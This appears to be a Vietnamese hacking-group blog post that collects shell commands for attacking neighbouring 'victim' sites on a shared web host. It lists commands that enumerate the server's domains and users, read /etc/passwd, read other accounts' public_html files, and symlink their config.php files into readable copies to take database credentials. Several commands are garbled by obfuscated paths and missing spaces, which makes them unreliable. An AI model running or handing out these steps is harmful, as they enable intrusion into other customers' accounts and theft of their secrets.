[ Local Attack ] Tổng hợp những lệnh shell hay dùng khi local attack


1) Xem list domain & user trên cùng sever

directadmin: cat /etc/virtual/domainowners
cpanel: ls -la /etc/valiases/tendomainvictim.com

cd/etc/vdomainaliases;ls-lia

Trường hợp đặc biệt khi không thể xem user nằm cùng host thì ta thêm && vào

cd/etc/vdomainaliases && ls-lia

2)Xem tên user: tùy vào distro linux khác nhau sẽ có các câu lệnh đọc file khác nhau.

cat /etc/passwd
less /etc/passwd
more /etc/passwd
head /etc/passwd
tac /etc/passwd
rev /etc/passwd
xxd /etc/passwd

3)Local sang victim bằng lệnh dir ( 2013 - giờ hiếm server nào còn sài được)

dir /home/ten user can local/public_html

vd: dir /home/vhb/public_html

4)Xem nội dung file lệnh xem file cũng tương tự như mục số 2
-> có thể sài các lệnh đó thay thế cho cat, less,...

cat/home/ten user can local/public_html/index.php

vd: cat [email protected]@/includes/config.php
vd: less [email protected]@/includes/config.php

5) Symlink: tác dụng gần giống như tạo shorcut trên windows.

ln -s/home/ten user can local/public_html/index.php index.txt

vd: ln -s [email protected]@/includes/config.php 1.txt
vd: ln -s [email protected]@/includes/config.php 1.ini
với file 1.txt hay 1.ini là mình tự đặt để nó tạo liên kết từ file config.php đến.

6) Tìm path của mấy victim sài Add on domain

find /usr/local/apache/logs/ -name 'error_log' | xargs grep -E 'victim.com'

----------------------------------------------

7) Một số lệnh khác

- mkdir: Tạo thư mục
- touch: tạo file
- cp: copy file
- mv: di chuyển file hoặc thư mục
- rm: Xóa file
- rmdir: xóa thư mục

Tác giả: concobe - VHB Group

Không có nhận xét nào